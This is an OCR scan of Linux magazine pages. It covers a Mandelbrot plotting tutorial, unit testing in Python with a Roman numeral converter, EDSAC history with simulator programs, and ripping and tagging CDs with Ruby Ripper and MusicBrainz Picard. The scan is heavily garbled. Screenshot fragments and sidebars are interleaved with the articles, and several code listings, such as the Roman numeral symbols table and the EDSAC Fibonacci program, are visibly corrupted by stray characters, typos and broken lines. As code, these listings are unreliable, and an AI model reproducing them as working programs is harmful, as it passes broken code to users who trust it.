yvalues = linspace(-0.70, -0.69, 1000) 

The resulting image was quite undefined because 
we set too low a value for maximum iterations. 
Change it from 40 to 120 as follows: 
atlas|ix,iy] = mandel(c,120) 

The result is a more detailed image, as shown 
below-left. It's really quite beautiful! 

The complete Python code we've built up to plot our 
own Mandelbrot fractals is available for you to look 
over at http://makeyourownmandelbrot.blogspot. 
co.uk/201 4/04/sharing-code.html. I've added 
comments to help remind you what each code 
section does. 

Next month we'll look at the Julia fractals, which are 
intimately related to the Mandelbrot fractals. They're 
even more beautiful in my opinion! We'll also extend 
our 2D fractals into interactive alien 3D landscapes 
you'll be able to explore. @ 


Tariq spends his time grappling with enterprise IT problems, 


informed by two decades of working with open technology. 
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In the divide by three 
function, the result 


trends towards, but never 


reaches, zero. 


V PROTIP 
The code for the full 


programs to calculate and 
plot the Mandelbrot and 
Julia fractals is online at 


http://bit.ly/1qpnlsE. 


V PRO TIP 


Don't forget you can 


explore the Mandelbrot 


and other fractals using 
the interactive XaoS open 
source software at http:// 
bit.ly/1vLdz52 or through 
a web browser http://bit. 


ly/1IbXYL1. 
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LINUX 


TUTORIAL 


BEN EVERARD 


WHY DO THIS? 


* So you don’t embarrass 
yourself in an 
international computing 
magazine. 


* To make sure that your 
code works as expected. 


* To catch any regression 
errors before they cause 
users problems. 


CODE NINJA: 
UNIT TESTING 


All* good programmers make sure their software works properly 
before releasing it to the world. *most 


was supposed to output the Roman numerals for 
a particular number. As some of you noticed, it did 
not quite work as it should have. This month we'll take 
a look at what we should have done to save ourselves 
the embarrassment of publishing code that doesn't 
work properly: testing. 
Testing is the process of making sure code works 
as it's supposed to. This can mean anything from 
informally entering a few values and making sure it's 
working properly, to a full suite of tests that run 
automatically and rigorously test everything to make 
sure it's working as expected. 
The simplest form of testing (and the one that 
would have saved us two issues ago) is unit testing. 
This is where you check a particular block of code 
(typically a function or method) and ensure it's 
working correctly. Just to recap, our code from the 
previous tutorial was: 
symbols = [(‘M’, 1000), (‘C M’, 900), (‘D’, 500), 
(‘C D’, 400), (‘C’, 100), (‘X C’, 90), (‘L’, 50), 
(XL’, 40), (‘X’, 10), (‘1X’, 9), (‘V’, 5), 
(IV, 4), (1) 


| nissue 7's Code Ninja, we had a piece of code that 


def romannumeral(number): 
while number > 0: 
for symbol, value in symbols: 
if number - value >= 0: 

print symbol, 

number = number - value 

continue 
number_in = raw_input(“Enter a number: “) 
romannumeral(int(number_in)) 

This isn't particularly conducive to testing, because 

the same function that calculates the value also 
outputs it. In other words, there's nowhere to catch 


Test-driven development 


@ Write a new test. 


There is a school of thought on software 
development that says that the first thing 
you should do when embarking on a new 
project is write a test. In this paradigm 
(known as test-driven development or TDD), 
the tests aren't just a way to find bugs, but 
form the specification for the program itself. 
The process follows these steps: 


B Run all tests and see if any fail. 
8 If one or more tests fail, write new code to 


fix the problem. 

G Run the tests again. 

Gif the tests pass, clean up the code, then 
return to step one. 

The software then evolves as new tests 
are added to specify new behaviour. The 
software is always fully tested because new 
features are only added after there is a test 
to define the behaviour, and since the tests 
are all run in each iteration, there shouldn't 
be any regressions. 
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If only we'd run this two months ago, we could have 
spared ourselves some embarrassment. 


and test the value of the Roman numeral before it's 
sent to the terminal. 

The first thing we need to do then, is re-factor the 
code so that the function returns the text for the 
Roman numeral rather than printing it. The function 
then becomes: 
def romannumeral(number): 

outstring = “" 

while number > 0: 

for symbol, value in symbols: 
if number - value >= 0: 

outstring += symbol 
number = number - value 
continue 

return outstring 

This also removes the spaces from between the 
symbols, so we'll remove them in the symbols list of 
tuples as well. 

Now you can capture what Roman numerals the 
code is producing, and so you can now automate 
testing of them. 


PyUnittest 
Testing libraries help you manage individual test 
cases and run them appropriately. The most popular 
such module for Python is PyUnittest. This is usually 
included with Python, so you shouldn't have to go 
hunting around for anything. 

With a few test cases added, the code becomes: 
import unittest 
// symbols list 
// roman numers function 
class Test(unittest.TestCase): 


def test_9(self): 
self.assertEqual(rommannumeral(9), “IX”) 

def test_29(self): 
self.assertEqual(romannumeral(29),’XXIX”) 

def test_707(self): 
self.assertEqual(romannumeral(707),’DCCVII") 

def test_1800(self): 
self.assertEqual(romannumeral(1800),’MDCCC”) 


if _name_ == ‘_main_’: 
number_in = raw_input(“Enter a number: “) 
print romannumeral(int(number_in)) 

Youlll need to add the symbols list (with the spaces 
removed), and the romannumerals() function from 
the previous code (they're omitted here to save 
space). We've called this file roman-test. py. 

The condition _name__ == ‘_main_ is true when 
the code is being run from the command line, so this 
allows us to still run it normally with python roman- 
test.py, but it means that the code works properly 
when imported into the test module. 

The tests are all methods of a class that inherits 
from unittest.TestCase, and they all call one of the 
assert methods. Here we've used assertEqual() to 
check that the value returned from the 
romannumeral() function is the right value. 

If you call the file containing the code roman-test. 
py, you can run the tests with: 
python -m unittest roman-test 

Ah, it seems that three of the four tests fail. It turns 
out that there’s an error in our code that generates the 
Roman numerals. The continue statement should be 
a break statement. If you make this change, you 
should find that all the tests pass. 


Getting assertive 

In this example, we've used assertEqual to check if a 
particular test passes or not, but there are many 
different methods you can use. Some of the most 


Other forms of testing 


Here we've looked at unit testing. This is great for making 
sure that a particular part of your program is working 
properly, but in complex software, this can still miss bugs. 
B Integration testing 

Unit testing checks that each bit of code works correctly by 
itself. The next step is to make sure that all the bits of code 
work properly when combined together. This is known as 
integration testing. 

@ Systems testing 

Most programs aren't isolated bits of code, but part of a 
larger ecosystem. For example, they might get some of 
their data from an external database, or send files to 
another server. Systems testing is where you test that the 
software works correctly with all the external services that 
it uses. 

® Usability testing 

Bugs aren't just bits of code that don't work properly. They 
can also be things that don’t work as the user expects 
them, or confusing GUls. Usability testing is where you put 
real users in front of the software and make sure it works 
as they expect it to. 
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lhe bookmarks bar. Import bookmarks now... 


Overview ~ Project Documentation ~ 


JUnit 


JUnit | About 


JUnit is a simple framework to write repeatable tests. It is an instance of the xUnit architecture for unit testing frameworks. 


Version: 4.12-beta-2 Last Published: 2014-09-25 


ic void newArrayListsHaveNoElements() { 
assertThat (new 


@:. void sizeReturnsNumberOfElements() { 


ArrayList ().size(), is(0)); 


List instance = new ArrayLis 


instance.add(new Obje 
instance.add(new Object ()); 


Annotations 


Start by marking your tests with 


Let's take a tour » 


Welcome Usage and Idioms Third-party extensions 


« Download and install 
* Getting started 
+ Release Notes 
© 4.12 - (unreleased) 
° 4.11 
© 4.10 
° 4.9.1 


+ Assertions » Custom Runners 
* Test Runners 
+ Aggregating tests in Suites 
+ Test Execution Order 
+ Exception Testing 
+ Matchers and assertThat 
+ Ignoring Tests 

° 49 * Timeout for Tests 
* Maintainer Documentation ° Parameterized Tests 
« Iwant to help! + Assumptions with Assume 
+ Latest JUnit Questions on StackOverflow + Rules 
+ JavaDocs + Theories 


UtilityClassTestUtil per #646 


testing, a PoolingWait class to ease 
asynchronous testing, and a 


class. 


* net.trajano.commons:commons-testing for 


+ System Rules —A collection of JUnit rules 
for testing code that uses java.lang.System. 
+ JUnit Toolbox - Provides runners for parallel 


WildcardPatternSuite which allow you to 
specify wildcard patterns instead of explicitly 
listing all classes when you create a suite 


useful are assertTrue(statement), 
assertRaises(exception), assertisinstance(object, 
class) and assertAlmostEqual(value1, value2). 
You can get a full list from the documentation at 
https://docs.python.org/2/library/unittest.html. 
The above test cases only check four numbers. It's 
trivially easy to add more test cases (we kept it short 
to save space). In fact, in this case, it would be 
possible to set an upper bound (say, 1000), and enter 
the correct data for every possible number. This way 
we could ensure that it was definitely producing the 
correct output. This is known as exhaustive testing. 
However, if the software had a wider range of 
inputs, then it may not be practical to run an 
exhaustive test. In this case, we'd have to be selective 
in which values we test. We want to pick the values 
hat are most likely to lead 
o an error. = = . 

There aren't any hard-and- “Testing libraries help you 
fast rules about this, but 
here are a few guidelines 
hat can help you. You want 
broad coverage. That 
means that you don’t want 
o cluster all your tests in one area. You also want to 
check areas where the output flips from one case to 
he next (eg 8 and 9 which go from VIII to IX). Edge 
and corner cases can also be fertile sources of errors. 
This is where you push one or more parameters to 
heir maximum values. 

If you create a good suite of tests when developing 
a particular part of a piece of software, then you can 
use these tests to ensure that you don't accidentally 
introduce a bug (or regression) into this area as you 
add features, or fix other bugs. This is known as 
regression testing, and as software becomes more 
complex, it become more important. @ 


best known of the unit 
SUnit (written for the 


language) came first. 
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Java's JUnit is probably the 
testing frameworks, but 


Smalltalk programming 


manage individual test cases 
and run them appropriately.” 


105 


V_ CODING EDSAC AND DAVID WHEELER 


JULIET KEMP 


“The EDSAC library was 
certainly operational before 
Grace Hopper's UNIVAC libraries.” 


Bill Renwick (L) and 
Maurice Wilkes in front 

of the EDSAC I. Copyright 
Computer Laboratory, 
University of Cambridge. 
Reproduced by permission. 
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EDSAC, DAVID WHEELER AND 


ai THE CAMBRIDGE CONNECTION 


Programmers everywhere, give thanks for EDSAC and David 
Wheeler, first implementer of the subroutine. 


his month we return to the early days of 
[ modern computing. Specifically, to Cambridge 
(UK) in the late 1940s, and the first electronic 

digital stored-program computer to see regular 
service: the Electronic Delay Storage Automatic 
Calculator, or EDSAC (inspired by von Neumann's First 
Draft of a Report on the EDVAC). The machine itself 
shared a lot of features with other computers of 
similar vintage, but it was while working on EDSAC 
that David Wheeler developed the idea of subroutines 
and the first very basic assembler, making a 
contribution to computing that continues to this day. 

EDSAC was constructed by Maurice Wilkes and his 
team at the University of Cambridge Mathematical 
Laboratory. It first ran in May 1949 and was 
immediately operational for research. Up in 
Manchester, the 
Mark | was first run 
in April 1949 but 
wasn't running 
regularly or error-free 
until June 1949, so 
EDSAC beat it into 


regular service by a month. 
EDSAC had mercury delay line memory, vacuum 
tubes for logic, punched-tape input and teleprinter 
output. Initially, there were 512 memory locations of 
18 bits each available: later, in 1952, a further 512 
locations came online. Timing issues meant that the 
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first bit couldn't be used, so an instruction consisted 
of a 5-bit instruction code, one unused bit, a 10-bit 
memory address, and a marker bit that identified 
whether the instruction was to operate on a number 
that was contained in one word or in two. This meant 
that EDSAC wasn't restricted to 17-bit numbers but 
could also use 35-bit numbers contained in two 
words. Numbers were stored as binary two's 
complement. The accumulator held 71 bits, so two 
35-bit numbers could be multiplied without loss of 
precision. Initially it had only an accumulator and a 
multiplier registers - David Wheeler designed and 
added an index register in 1953. 


EDSAC and subroutines 
David Wheeler (who earned the world's first Computer 
Science PhD while working on EDSAC) was asked by 
Wilkes in 1949 to create a library of programs and 
subroutines for the machine. Grace Hopper was 
beginning to think about the same ideas at about this 
time, working on UNIVAC in the US. Wilkes and Hopper 
met when Wilkes visited the US in 1950, and Wilkes 
reported feeling that the two groups had much in 
common with how they thought about programming. 
Ina 1958 paper by Hopper, she acknowledged that 
while subroutines had been a part of computing since 
the war years, the first real organisation and 
systematisation of them was done by the EDSAC 
group. The EDSAC library was certainly operational 
before Hopper’s UNIVAC libraries (and her A-O 
‘compiler’ which linked subroutines together) were. But 
clearly the notion of reusing code like this occurred to 
several people independently at about the same time 
— it's a fairly obvious solution to a common problem, 
and early programmers were a resourceful bunch. 
However, it was Wheeler who got there first; and a 
jump to subroutine is often still known as a Wheeler 
Jump. When the programmer called a Wheeler 
subroutine, the program would jump to the start of the 
subroutine with the address of the program counter 
plus one in the register. (So if it was at line 10, it would 
put line 11 into the register before jumping.) The 
subroutine would then write that address into its final 
line so it could jump back when it was finished. The 
user would have to copy the subroutine code into the 
right place on the tape. This demonstrates a 
technique used extensively by early programmers but 
which a modern coder would disapprove of: directly 
altering code to enable jumps and indexing. 


By 1951, there were 87 subroutines available for 
EDSAC, covering a wide range of mostly 
mathematical operations, although print, layout, input, 
and loop simulation subroutines were also included. 

Wheeler and the EDSAC team are also credited with 
the world's first assembler, in the EDSAC's Initial 
Orders 2. EDSAC's instructions (see below) were 
designed to be represented by a mnemonic single 
letter (eg A for Add was coded using the bit pattern for 
A). The ‘initial orders’, setting up the basic operations 
for the machine, were hard-wired on switches and 
automatically loaded at startup into the first memory 
locations. EDSAC would then run from location 0. The 
first version of the initial orders was very basic, and in 
particular had the major limitation that all memory 
locations had to be absolute (ie referring to a 
numbered location). 

The Initial Orders 2, written by Wheeler in May 1949, 
among other things enabled the programmer to refer 
to locations relative to a specified point, making it 
much easier to edit and debug programs. The Initial 
Orders 2 are fully described in the 1951 textbook The 
Preparation of Programs for an Electronic Digital 
Computer, by Wilkes, Wheeler, and Gill; this had a big 
impact on the programming culture of the 1950s, and 
its legacy lives on today. There's also a listing of the 
Initial Orders in Martin Richard's excellent poster at 
www.cl.cam.ac.uk/~mr1 0/Edsac/edsacposter.pdf. 


EDSAC emulator 

Warwick University's website (www.dces.warwick. 

ac.uk/~edsac) has an EDSAC simulator for Linux. 

Unfortunately it's very old (2002), so you may need to 

do a little fiddling to install it ona modern system. 

Using Debian (this should also work on Ubuntu; 

apologies to users of other distros), this is how | did it: 

® Click the Software menu item and download the 
Linux version of the software from that page. 

® Unzip and untar with tar zxf EdsacLX_v102.tar.gz. 

® Now cd into that directory. If you type ./runedsac 
you will most likely get a message telling you that 
the shared library libstde++-libc6.1-1.s0.2 cannot 
be found. This is a very old library which has been 
superseded. 

@ The library can be found for Debian in the 
libstdc++2.9-glibc2.1_2.91.66-4_i386.deb 
package, available from http://archive.debian.net/ 
woody/libstdc++2.9-glibe2.1. Download the Deb 
from that link (it advises you to use Aptitude but 
unless you wish to install lots of very old packages 
that seems like overkill to me). 

@ Install the Deb with sudo dpkg -i libstdc+_- 
libc6.1-1.so.2. 

® Run the emulator with ./runedsac and this time all 
should be well. 

NOTE: this is a very old, archived library package, 
which could have bugs or security risks. Install at your 


own risk. It might be sensible to uninstall it once you're 


done playing with EDSAC, using dpkg -r. (With thanks 
to the debian-user list for the link.) 
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EDSAC instruction set (with thanks to Martin Richards): 


accumulator in n, zero whole 
accumulator). 


Un mem(n) = A (store accumulator 
in n, do not zero accumulator). 

Cn AB += mem(n) & R (add n anded Zn 
with R to the accumulator). 

Rn Shift whole accumulator right by 


the number of places 
corresponding to the least 
significant 1 in the shift 
instruction. 


An A += mem(n) (add n to the Ln As Rn but shift left. 
accumulator). En If A >= 0, goto n. 

Sn A -= mem(n) (subtract n from Gn If A< 0, goto n. 
the accumulator). In Read next paper tape character 

Hn R += mem(n) (add n to into least significant bits of n. 
the register). On Output character in most 

Vn AB += mem(n) * R (add n significant bits of n. 
multiplied by the register to the Fn Verify last character output. 
long accumulator. Xn No operation. 

Tn mem(n) = A; ABC = 0 (store Yn Add a 1 to bit position 35 of 


the whole accumulator (sign bit 
counts as zero). This rounds the 
accumulator up to 34 

fractional bits. 

Stop the machine and ring a bell. 
n refers to a numerical memory 
location. All instructions would 
end with either S or L, for a short 
word or a long word. The L 
instructions worked with more 
of the accumulator. 


Let's have a quick look at the emulator display panel 

® Monitor display at left shows a single long tank 
(select which one with the Long Tank counter in the 
panel underneath). Bright dot for 1, small dot for 0. 
This represents a CRT display. 

@ Output This represents the teleprinter output from a 
program. 

@ Buttons These are mostly self-evident, but Single 
EP runs a program an instruction at a time. The 
Clear button was a slightly later addition. The 
original method of clearing the memory was, 
apparently, to earth the electrical terminals with a 
wet finger. 


@ The clock represents ‘real time’ taken by the EDSAC. 


If you click the Real Time button in the top menu 
bar, the simulator will run in real time; otherwise it 
will run as fast as possible, but the clock will still 
show 'EDSAC time’ to give you an Idea of how fast 
(or not...) the original machine was. 

@ Registers At bottom left are a representation of the 


= The EDSAC Simulator for Linux: Version 1.0.2 


V PRO TIP 


A quotation often 
attributed to David 


Wheeler: “Compatibility 
means deliberately 
repeating other people's 
mistakes.” 


EDSAC simulator showing 
the final output of the 
Squares program. You can 
see from the dial that this 
took about six minutes to 
run. 


File Edit Edsac Window Help 


{Biss [Bef ol) 22[a) Inet orders = “| [=|] i source [RealTime] itints 
I 


Waste U52SS42S051SA117STS2sPSPSPSPSPS 
E110SE118SP100SE95S041ST1295044S045SA76SA4S 
U76ST48SAB3ST7SSE49S043S043SHT6SV76SLO4S 
L32SU77SS78ST79SA7 1SU78STABSABOSTISSEASS 
0435043SA79ST48SAB1ST7SSEA9SA3SSAT6SS825 
e8Sso4iszs 


www.linuxvoice.com 


107 
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Lod The EDSAC Simulator for Linux: Version 1.0.2 
File Edit Edsac Window Help 


| Sia (SI) [=| sf [54 nial orders ¢ 7) S|] @] i sound 1 Real Time 1 Hints 


sa7ea 
an x 


ES Multiplicand § = {| Short Tanks 


WEED SCR EOE Order Tank CY) 
Long Tank [0 | o¢ @ 
Ao 
Ace AS 
res 


uliet@inspiral: ~/Downloads/Edsac  % 


.et@inspiral:~$ cd Downloads/Edsac/ 
.et@inspiral:~/Downloads/Edsac$ ./runedsac 


OMNROWNNWWYNA BOWOMHOAN NAG 


SSSR ESE E EES SEER RES 


Seeeeeeeeeeeeeseseseessstsetesesesses 


gned and programmed by John Martin 
¥id on the original Edsac Simulator for Windows by Dr Martin Campbell-Ke 
Department of Computer Science, University of Warwick, Coventry, England. 


FEee MAP OOHNGH HH POOOCOONHUHOH[ ET! 


rad rg 


We've calculated the 

first six of the Fibonacci 
numbers, with the listing 
on left and the output 
showing in the teleprinter 
screen. 


registers (accumulator, multiplier, etc. In the real 

thing these were displayed on CRT tubes. 
® Dial This enables the operator to input a single 

decimal number. 

The quickest way to see the emulator in operation is 
to run one of the included demo programs. For 
example, the Squares one, which is an exact copy of 
the Squares program run for the first time in 1949. To 
load tt, click Clear, then choose Initial Orders 1 from 
the menu bar. Choose Open > Edsac Tapes > 
Demonstration Programs > Squares.txt, and the 
Squares file will pop up. Select Long Tank 0, then hit 
Start, and the initial orders, then the program, will load. 
You should soon see output on the teleprinter box. 
You can look at the various Long Tanks to see what is 
happening inside the machine. 

The Tutorial Guide at the Warwick website 
(www.des.warwick.ac.uk/~edsac/Software/ 
EdsacTG.pdf) includes a full rundown of the Squares 
program, So we won't reproduce that here (especially 
as it is very long). Instead, let's try writing a much 
simpler program. To make life easier, we're going to 
switch to using the Initial Orders 2 (change the 
drop-down box in the menu bar). 

This program will output the numbers 1—5. Note 
that while | have added comments for ease of layout, 
these shouldn't be typed into the program. However 
you can use new lines and spaces as you please. (Not 
historically accurate, but much simpler!) Save this as a 


.txt file. 

T64K __// Load the program in from instruction 64 
G K // Set 6 to current load point 

Zak I Stop 

0o9@ I 

ol@ I 

o1@ J 

012@ // Print (output) location 6 + 9 - 15 
013@ ~ // (see below) 

ou4@ J 

015@ J 
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ZF I Stop 

&F // Store linefeed 

#F // Store figure shift 

1F // Store 1 

2F // Store 2 

3F // and so on 

4F 

5F 

EZPF // Enter program at location 6 


(With thanks to the Tutorial Guide.) F (which has the 
value 0) corresponds to S$ and D (value 1) to L in Initial 
Orders 2. 

This loads the program from location 64 (which 
corresponds with the first line of long store 2, making 
it easy to find it and check that it has loaded correctly). 
It then sets the marker 6, and stops. The stop means 
that once we've loaded the program with the ‘Start’ 
button, we can check what it looks like before hitting 
‘Reset’ to clear the Stop flag and continue with 
operations. 

The next seven lines output locations 6 + 9 to 6 + 
15. Instead of hard-coding a memory location, you set 
the 8 marker, and then count lines from there. So 6 +9 
is the line that contains & F; and so on. You store the 
data in one place and output it in another. The next ZF 
stops operation. After this we have the data storage. & 
is the line feed character, and # is the figure shift (* is 
the letter shift). You need to specify whether you're 
outputting figures or letters in advance. We then store 
a bunch of numbers, and EZPF jumps back to @ and 
begins operation from there. (Which, in this instance, 
means an immediate Stop until the user hits Reset.) 

Load and hit Start, and take a look at Long Tank 2. 
Then hit Reset to run the rest of the program and you 
should see the expected output. Try editing it by 
replacing #F with *F and output words instead. 

If you try to edit this to output 1-6, you will notice 
that adding an extra line in the first part of the 
program means editing all the O lines. To avoid this, 
we can set another mark point. I've added line 
numbers for ease of reading but again, don't include 
them in the file. 

T64K _—// load at location 64 
GK // Set 6 mark 


T47K // This loads label M 
P9I@ / and this places it at line 6 + 9 
TZ // Restore 6 (ie set it here) 
0 ZF I stop 
1 OOM // output location M +0 
2 O1M // output location M + 1 
02-6M_ // andso on, as previous version 
ZF I stop 
Mo &F // Store line feed 
1 #F // Store figure shift 
2 1F // Store 1... and so on as before 
EZPF // Start execution from 8 


This has the same output as before, but instead of 
having to calculate “lines after 6” and alter them if you 
add more lines, you set the mark M (at a certain 
number of lines after 6) and then calculate data 


storage from there. If you add more lines before M, 
you only have to edit the P 9 @ line. 


Calculating Fibonacci numbers 

Let's try using a loop to calculate and output the 
Fibonacci sequence: 

T64K _ // As above, this section reads in the program 
GK // and sets @ 

T47K ___// and these two lines 

P20@ J setM 

TZ // Reset 8 


ORZIE // stop bell 


00M _ // output line feed 

01M _ // output figure shift 

02M _// output 1st Fib number 

OOM /If 

03M _ // 2nd Fib number 

OOM /If 

A4M_ //load number of rounds to run 


Noor WH — 


8 T4M 
clear 

9 A2M 
10 A3M 
11 U3M 
NOT clear 
12 S2M 


// transfer number of rounds out of accumulator and 


load 1st Fib number into accumulator 
// add 2nd Fib number 
// transfer total into space for 2nd Fib number DO 


// subtract original 1st from accumulator 

13 T2M_ // transfer original 2nd into space for 1st 

14 03M _ // output new 2nd 

15 00M /If 

16 A4M_ // transfer number of rounds 

17 S5M_ // subtract one round 

18 E8@_ //is number still positive? If so loop back to line 8 
19 ZF // otherwise stop 


MO&F 
1#F 
221 [F 
31F 
43F 
51F 


// data! Line feed 

// figure shift 

// 1st number 

// 2nd number 

// number of rounds 

// 1 -- for subtracting from rounds 


EZPF _// start from @ 

The initial few lines are the program setup, as 
discussed above. Lines 1—7 output the initial ‘seed’ 
numbers of the sequence, and load the number of 
rounds to run. The main program loop is lines 8-18. 
We add the two seed numbers, store the result, and 
then move the 2nd of the seed numbers to the 1st 
storage position (line M2). As you'll notice, this is done 
by subtracting #1 from the total (leaving #2) and 
storing the result in position #1. We now have the next 
two numbers ready for the next loop, and a cleared 
accumulator. We subtract one from the number of 
rounds, check whether it's positive (note that 0 is 
positive, so you'll get one more round than you might 
expect), and if it is, jump back to the start of the loop, 
where the number of rounds remaining is stored 


again. Once the number in M4 has reached -1, the 
program will stop (line 19). 

Enter the program without line numbers and 
comments, then run it by hitting Clear, Start, and 
Reset to begin output, and you should get the first 6 
Fibonacci numbers, as in the screenshot. 

However, if you increase the value in line M4 and 
run it again, you'll start getting weird output. This is 
because this output method only works for single 
digits. For larger numbers you'll need to use the 
subroutine P6 to print them properly. Unfortunately 
there's no space to look at that in this tutorial, but 
there's plenty of information in the emulator's Tutorial 
Guide if you want to extend this program, and it has a 
few suggested programming challenges. You can 
also examine the program listings included with the 
emulator software to learn more. 


Other EDSAC tidbits 

There is a collection of personal reminiscences from 
he program at the University of Cambridge Computer 
Laboratory webpage (www.cl.cam.ac.uk/events/ 
EDSAC99/reminiscences). These include mention of 
he dissecting fluid smell of the EDSAC room (which 
was in what had been the anatomy school); memories 
of some of the technical experiments with magnetic 
ape; operational difficulties; and some recollections 
of the EDSAC summer schools (including one from 
Edsger Dijkstra). 

Its successor, EDSAC 2, was commissioned in 
1958; and in 1961 a version of Autocode (a high-level 
programming language a bit like ALGOL) was 
prodcued for EDSAC 2. Currently the Computer 
Conservation Society is building a working replica of 
EDSAC, to live at the National Museum of Computing 
at Bletchley Park, and hopes to have it operational by 
late 2015. See www.tnmoc.org/special-projects/ 
edsac for more info. @ 


Juliet Kemp is a scary polymath, and is the author of 


O'Reilly's Linux System Administration Recipes. 
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EDSAC may have been the 
site of the first video game 
— aversion of noughts and 
crosses (tic-tac-toe) which 
output to the cathode ray 
tube. (The software is 
available for the simulator 
as oxo.txt.) Copyright 
Computer Laboratory, 
University of Cambridge. 
Reproduced by permission. 
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V MASTERCLASS AUDIO TOOLS 


™ MASTERCLASS 


Without music, life would be a mistake. Join us as we 
celebrate the new UK legal status of ripping your own CDs. 


RUBY RIPPER & PICARD 
MANAGE YOUR MUSIC 


Efficient music management is one of those things that calls for a GUI application... 


oday's portable media devices and 
JOHN LANE smartphones have enough storage to allow 
most people to carry their entire music 


V PROTIP 
Ruby Ripper also has a 


command-line mode: 
rrip_cli. 
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collection in their pocket. But if yours includes a CD 
collection, then you'll need to rip those discs into digital 
audio files that your devices can use. 

This is a three-step process: you need to extract, or 
rip, the audio from the disk and encode it into suitably 
formatted data files that you can then tag with 
metadata that describes them. If your preference is for 
GUI tools, there are many options available to help you 
build and maintain your music collection, but there isn't 
any one-size-fits-all solution that does everything. You'll 
still need one tool for ripping and another for tagging 
and organising your rips, but this does allow you to 
select your preference in each area. 

The default ripper on Gnome-based systems is 
called Sound Juicer, which can rip an audio CD into 
various formats, but only one at a time. KDE users 
have K3b and other possible alternatives include 
applications called Grip and Asunder. These will all rip 
your CDs quickly and easily, but we're going to use 
Ruby Ripper. This uses the edparanoia command line 
tool, but goes further to ensure accuracy by ripping 
each track at least twice and comparing them. 

If you're an Ubuntu user, you'll need to add a 
third-party repository to install Ruby Ripper, because it 
isn't officially supported: 
$ wget -q -0 - http://archive.getdeb.net/getdeb-archive.key | 
sudo apt-key add - 
$ sudo sh -c ‘echo “deb http://archive.getdeb.net/ubuntu 
trusty-getdeb apps” >> /etc/apt/sources.list.d/getdeb.list’ 
$ sudo apt-get update 
$ sudo apt-get install rubyripper 

Arch Linux users have life a little easier: 
$ pacman -S ruby-ripper 

Once you've installed Ruby Ripper, insert a CD and 
launch the GUI application: 
$ rrip_gui 
The disc is scanned and looked up on the FreeDB 
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With Ruby Ripper you can edit your CD’s track names 
before ripping and use the preferences pages to select 
encoders and define how files should be written. 


music database (if there are multiple matches you 
can choose which one to use). You're presented with 
a simple dialog that lists CD and track details and you 
can edit these if necessary prior to hitting the Rip CD 
Now button to begin ripping. 

GUI CD ripping tools perform lookups to FreeDB 
and tag the ripped tracks accordingly. However, a 
dedicated tagger will ultimately give you more control 
over the process. 

EasyTag is a feature-rich tagging tool that allows 
you you tag files, rename them and organise them 
into directories. It enables you to view, add or remove 
album cover art but doesn't have a facility to locate it 
(http://albumart.org can help with this). FasyTag is in 
most distros’ default repositories. 

EasyTag makes it easy to perform bulk operations. It 
can generate metadata from a file's path and tag files 
with it. It can use existing metadata or fetch it from 
FreeDB or MusicBrainz (another music database) and 
use it to re-tag, move and rename files. 


The Brainz behind the music 

MusicBrainz is, in its own words, “an open music 
encyclopedia that collects music metadata and 
makes it available to the public”. It's similar to FreeDB 
and CDDB, which preceded it, but takes the concept 


EasyTag auto-corrects tags to add missing spaces as well 
as updating the ID3 tag version on MP3 files. Changed 
files that need to be saved are highlighted. 


further by providing a relational database of music 
(not just compact discs). All its data is either in the 
public domain or released under a Creative Commons 
Non-Commercial Share-Alike licence. 
provides a very capable application called Picard, 
which enables you to tag your music files with data 
from the MusicBrainz database. It has lookup tools 
that use a disc ID to locate albums in the database. 
Where matches cannot be found, it integrates with 
your browser to provide a seamless interface between 
the MusicBrainz website and the Picard application. 

's easy to extend Picard'’s functionality with plugins 
available at https://musicbrainz.org/doc/ 
MusicBrainz_Picard/Plugins. We recommend ‘Add 
Cluster as Release’ because it simplifies adding 
albums to MusicBrainz, but there are several to 
choose from or you can write your own in Python. 


Make it so 
Begin a ripping session by opening Picard. It has a 
status line that lets you know what is happening, and 
you can get more feedback by running it from a 
terminal in debug mode. Should you want to do that, 
begin with: 
$ picard -d 
Place a CD in your drive and use picard's “Lookup 
CD" to see if it's already in the MusicBrainz database. 
This displays a pop-up containing any matches so 
that you can select one. Alternatively, you can press a 
‘Lookup Manually’ button to open a browser where 
you can perform a manual search. Picard listens for 
updates (usually on port 8000) and sends its port 
number in the browser request. MusicBrainz displays 
an additional ‘Tagger link, a green icon, that you can 
use to send your selection back to Picard. 
Fire up Ruby Ripper to rip the CD according to your 
needs (we ripped into Flac, Ogg and MP3). If you 
found a MusicBrainz match you needn't worry too 
much about the quality of the FreeDB data returned 
by your ripper, because Picard will re-tag your files. 
Navigate Picard's file browser (the left-hand panel - 
do Ctrl+B if it isn’t visible) to the directory where your 
ripped files were written, drag it into the centre panel 
and then hit the Cluster button. This groups files into 
clusters based on common metadata (your ripping 


process should have tagged the files using metadata 
from FreeDB). You should see a single cluster 
containing all of the tracks from the ripped album; 
there'll be multiple files for each track if you ripped into 
multiple formats. 

Now Is the time to add a release to MusicBrainz if 
you were unable to find a MusicBrainz match before 
ripping. If you right-click the cluster and choose 
Plugins-> Add Cluster As Release, Picard will open the 
MusicBrainz Add Release page in your browser and 
pre-populate it using the ripped files’ metadata. 

The page has several tabs that you must navigate 
to supply all of the required information. You should 
try to supply an external link as a cross-reference. You 
can reference pages from Discogs and/or Amazon; 
the latter will also be used as a source for album 
artwork. 

The final Edit Note tab is where you'll find the the 
Enter Edit button, which submits the new release. 
Before adding a release for the first time, you should 
familiarise yourself with what is expected by reading 
the MusicBrainz Beginners’ Guide at 
https://musicbrainz.org/doc/Beginners_Guide. 

t displays the new release in your browser so that 
you can check it or augment it further, perhaps 
supplying album art if none was found automatically. 
You should click the green ‘Tagger’ icon to load the 
new release into Picard, where it should appear in the 
panel on the right-hand side. 

The final step is to tag the clustered files with the 
release. Open the release by double-clicking on it; this 
will display the tracks beneath. Now, drag the cluster 
and drop it on top of the tracks (it doesn’t matter which 
track the cluster lands on) and then right-click the 
release and refresh, which moves the files onto the 
correct tracks. You can review the metadata for each 
file before saving (another right click on the release). 

Depending on your configuration (Options > Options 
> File Naming), Picard can also rename the ripped files 
and copy or move them into a new location. 

Keep another tagging tool, such as EasyTag or Ex 
Falso, close by — it can be easier to perform other 
edits outside Picard should you need to use tags that 
Picard doesn't. 


The Semantic Web 


MusicBrainz: 
A Semantic Web Service 


‘Aaron Swartz 


ment this idea, 
smpact Dise Database (CDDB) 


MusicBrainz, through its website and its Picard tagging 
application, gives you rich metadata to tag your music 
with and makes it easy to contribute data yourself. 
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V PROTIP 
To get the best from 


AUDIO TOOLS MASTERCLASS Vv 


MusicBrainz and Picard, 
you should register as a 
user on the MusicBrainz 


website. 


V PROTIP 


New MusicBrainz users 
